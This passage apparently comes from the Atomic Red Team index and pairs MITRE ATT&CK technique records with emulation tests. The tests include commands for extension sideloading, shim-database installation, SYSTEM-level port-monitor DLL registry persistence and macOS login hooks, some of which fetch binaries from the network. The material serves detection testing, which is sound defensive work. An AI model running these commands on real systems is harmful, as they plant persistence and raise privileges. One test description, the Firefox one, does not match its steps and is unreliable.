identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1176 external_id: T1176 - source_name: Chrome Extension Crypto Miner description: Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ - source_name: xorrior chrome extensions macOS description: Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021. url: https://www.xorrior.com/No-Place-Like-Chrome/ - source_name: Chrome Extensions Definition description: Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017. url: https://developer.chrome.com/extensions - source_name: ICEBRG Chrome Extensions description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses - source_name: Malicious Chrome Extension Numbers description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017. url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf - source_name: Chrome Extension C2 Malware description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.' url: https://kjaer.io/extension-malware/ - source_name: Catch All Chrome Extension description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017. url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) - source_name: Banker Google Chrome Extension Steals Creds description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ - source_name: Browser Adrozek description: Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024. url: https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/ - source_name: Browers FriarFox description: Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved February 26, 2024. url: https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global - source_name: Stantinko Botnet description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.' url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ - source_name: Wikipedia Browser Extension description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018. url: https://en.wikipedia.org/wiki/Browser_extension object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1176 atomic_tests: - name: Chrome/Chromium (Developer Mode) auto_generated_guid: 3ecd790d-2617-4abf-9a8c-4e8d47da9ee1 description: Turn on Chrome/Chromium developer mode and Load Extension found in the src directory supported_platforms: - linux - windows - macos executor: steps: | 1. Navigate to [chrome://extensions](chrome://extensions) and tick 'Developer Mode'. 2. Click 'Load unpacked extension...' and navigate to [Browser_Extension](../t1176/src/) 3. Click 'Select' name: manual - name: Chrome/Chromium (Chrome Web Store) auto_generated_guid: 4c83940d-8ca5-4bb2-8100-f46dc914bc3f description: Install the "Minimum Viable Malicious Extension" Chrome extension supported_platforms: - linux - windows - macos executor: steps: | 1. Navigate to https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend in Chrome 2. Click 'Add to Chrome' name: manual - name: Firefox auto_generated_guid: cb790029-17e6-4c43-b96f-002ce5f10938 description: 'Create a file called test.wma, with the duration of 30 seconds ' supported_platforms: - linux - windows - macos executor: steps: | 1. Navigate to [about:debugging](about:debugging) and click "Load Temporary Add-on" 2. Navigate to [manifest.json](./src/manifest.json) 3. Then click 'Open' name: manual - name: Edge Chromium Addon - VPN auto_generated_guid: 3d456e2b-a7db-4af8-b5b3-720e7c4d9da5 description: 'Adversaries may use VPN extensions in an attempt to hide traffic sent from a compromised host. This will install one (of many) available VPNS in the Edge add-on store. ' supported_platforms: - windows - macos executor: steps: | 1. Navigate to https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj in Edge Chromium 2. Click 'Get' name: manual - name: Google Chrome Load Unpacked Extension With Command Line auto_generated_guid: 7a714703-9f6b-461c-b06d-e6aeac650f27 description: |- This test loads an unpacked extension in Google Chrome with the `--load-extension` parameter. This technique was previously used by the Grandoreiro malware to load a malicious extension that would capture the browsing history, steal cookies and other user information. Other malwares also leverage this technique to hijack searches, steal passwords, inject ads, and more. References: https://attack.mitre.org/techniques/T1176/ https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/ supported_platforms: - windows input_arguments: working_dir: description: Working directory where the files will be downloaded and extracted type: string default: "$env:TEMP" executor: command: |2- # Chromium $chromium = "https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip" # uBlock Origin Lite to test side-loading $extension = "https://github.com/gorhill/uBlock/releases/download/uBOLite_0.1.23.6055/uBOLite_0.1.23.6055.chromium.mv3.zip" Set-Location "#{working_dir}" Set-Variable ProgressPreference SilentlyContinue Invoke-WebRequest -URI $chromium -OutFile "#{working_dir}\chrome.zip" Invoke-WebRequest -URI $extension -OutFile "#{working_dir}\extension.zip" Expand-Archive chrome.zip -DestinationPath "#{working_dir}" -Force Expand-Archive extension.zip -Force Start-Process .\chrome-win\chrome.exe --load-extension="#{working_dir}\extension\" -PassThru cleanup_command: |- Set-Location "#{working_dir}" Stop-Process -Name chrome -Force Remove-Item .\chrome.zip, .\chrome-win, .\extension, .\extension.zip -Recurse -Force Set-Variable ProgressPreference Continue name: powershell elevation_required: true T1137.005: technique: x_mitre_platforms: - Windows - Office 365 x_mitre_domains: - enterprise-attack x_mitre_contributors: - Microsoft Security object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44 type: attack-pattern created: '2019-11-07T20:00:25.560Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1137.005 url: https://attack.mitre.org/techniques/T1137/005 - source_name: SilentBreak Outlook Rules url: https://silentbreaksecurity.com/malicious-outlook-rules/ description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019. - source_name: Microsoft Detect Outlook Forms url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019. - source_name: Pfammatter - Hidden Inbox Rules url: https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ description: Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021. - source_name: SensePost NotRuler url: https://github.com/sensepost/notruler description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019. modified: '2022-04-25T14:00:00.188Z' name: Outlook Rules description: |- Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler) Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Application Log: Application Log Content' - 'Command: Command Execution' x_mitre_permissions_required: - Administrator - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1546.011: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83 type: attack-pattern created: '2020-01-24T14:56:24.231Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.011 url: https://attack.mitre.org/techniques/T1546/011 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - source_name: FireEye Application Shimming url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020. - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf description: Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017. source_name: Black Hat 2015 App Shim modified: '2022-04-25T14:00:00.188Z' name: 'Event Triggered Execution: Application Shimming' description: "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): * Shim-Process-Scanner - checks memory of every running process for any shim flags * Shim-Detector-Lite - detects installation of custom shim databases * Shim-Guard - monitors registry for any shim installations * ShimScanner - forensic tool to find active shims in memory * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.011 atomic_tests: - name: Application Shim Installation auto_generated_guid: 9ab27e22-ee62-4211-962b-d36d9a0e6a18 description: "Install a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n" supported_platforms: - windows input_arguments: file_path: description: Path to the shim database file type: string default: PathToAtomicsFolder\T1546.011\bin\AtomicShimx86.sdb dependency_executor_name: powershell dependencies: - description: 'Shim database file must exist on disk at specified location (#{file_path}) ' prereq_command: 'if (Test-Path "#{file_path}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path "#{file_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb" -OutFile "#{file_path}" - description: 'AtomicTest.dll must exist at c:\Tools\AtomicTest.dll ' prereq_command: 'if (Test-Path c:\Tools\AtomicTest.dll) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path c:\Tools\AtomicTest.dll) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll" -OutFile c:\Tools\AtomicTest.dll executor: command: 'sdbinst.exe "#{file_path}" ' cleanup_command: 'sdbinst.exe -u "#{file_path}" >nul 2>&1 ' name: command_prompt elevation_required: true - name: New shim database files created in the default shim database directory auto_generated_guid: aefd6866-d753-431f-a7a4-215ca7e3f13d description: | Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb Copy-Item "$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb cleanup_command: | Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore name: powershell elevation_required: true - name: Registry key creation and/or modification events for SDB auto_generated_guid: 9b6a06f9-ab5e-4e8d-8289-1df4289db02f description: | Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing the registry keys that were created. These keys can also be viewed using the Registry Editor. https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html supported_platforms: - windows executor: command: | New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011" New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011" cleanup_command: | Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore name: powershell elevation_required: true T1547.010: technique: modified: '2024-04-12T02:49:39.980Z' name: 'Boot or Logon Autostart Execution: Port Monitors' description: "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Stefan Kanthak - Travis Smith, Tripwire - Harun Küßner x_mitre_deprecated: false x_mitre_detection: "Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors, paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Module: Module Load' - 'Process: OS API Execution' x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - SYSTEM - Administrator type: attack-pattern id: attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe created: '2020-01-24T19:46:27.750Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/010 external_id: T1547.010 - source_name: Bloxham description: Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014. url: https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf - source_name: AddMonitor description: Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014. url: http://msdn.microsoft.com/en-us/library/dd183341 - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.010 atomic_tests: - name: Add Port Monitor persistence in Registry auto_generated_guid: d34ef297-f178-4462-871e-9ce618d44e50 description: Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege. supported_platforms: - windows input_arguments: monitor_dll: description: Addition to port monitor registry key. Normally refers to a DLL name in C:\Windows\System32 but an arbitrary DLL can be specified with the absolute path. type: path default: "$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll" executor: command: 'reg add "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /v "Driver" /d "#{monitor_dll}" /t REG_SZ /f ' cleanup_command: 'reg delete "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /f >nul 2>&1 ' name: command_prompt elevation_required: true T1037.002: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0 created: '2020-01-10T16:01:15.995Z' x_mitre_version: '2.0' external_references: - source_name: mitre-attack external_id: T1037.002 url: https://attack.mitre.org/techniques/T1037/002 - source_name: Login Scripts Apple Dev url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html description: Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022. - source_name: LoginWindowScripts Apple Dev url: https://developer.apple.com/documentation/devicemanagement/loginwindowscripts description: Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022. - source_name: Wardle Persistence Chapter url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf description: 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.' - source_name: S1 macOs Persistence url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020. x_mitre_deprecated: false revoked: false description: "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) " modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Initialization Scripts: Logon Script (Mac)' x_mitre_detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'File: File Creation' - 'File: File Modification' - 'Process: Process Creation' - 'Command: Command Execution' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1037.002 atomic_tests: - name: Logon Scripts - Mac auto_generated_guid: f047c7de-a2d9-406e-a62b-12a09d9516f4 description: 'Mac logon script ' supported_platforms: - macos executor: steps: "1. Create the required plist file\n\n sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist\n\n2. Populate the plist with the location of your shell script\n\n sudo defaults write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n\n3. Create the required plist file in the target user's Preferences directory\n\n\t \ touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist\n\n4. Populate the plist with the location of your shell script\n\n\t defaults write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n" name: manual T1205: technique: modified: '2022-11-08T14:00:00.188Z' name: Traffic Signaling description: |- Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: |- Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN) x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '2.4' x_mitre_contributors: - Tony Lee - Josh Day, Gigamon x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' - 'Process: Process Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_defense_bypassed: - Defensive network service scanning type: attack-pattern id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1205 external_id: T1205 - source_name: Bleeping Computer - Ryuk WoL description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021. url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/ - source_name: AMD Magic Packet description: AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021. url: https://www.amd.com/system/files/TechDocs/20213.pdf - source_name: Mandiant - Synful Knock description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020. url: https://www.mandiant.com/resources/synful-knock-acis - source_name: Cisco Synful Knock Evolution description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices - source_name: Hartrell cd00r 2002 description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.' url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 - source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - source_name: GitLab WakeOnLAN description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021. url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1547.009: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Boot or Logon Autostart Execution: Shortcut Modification' description: |- Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an 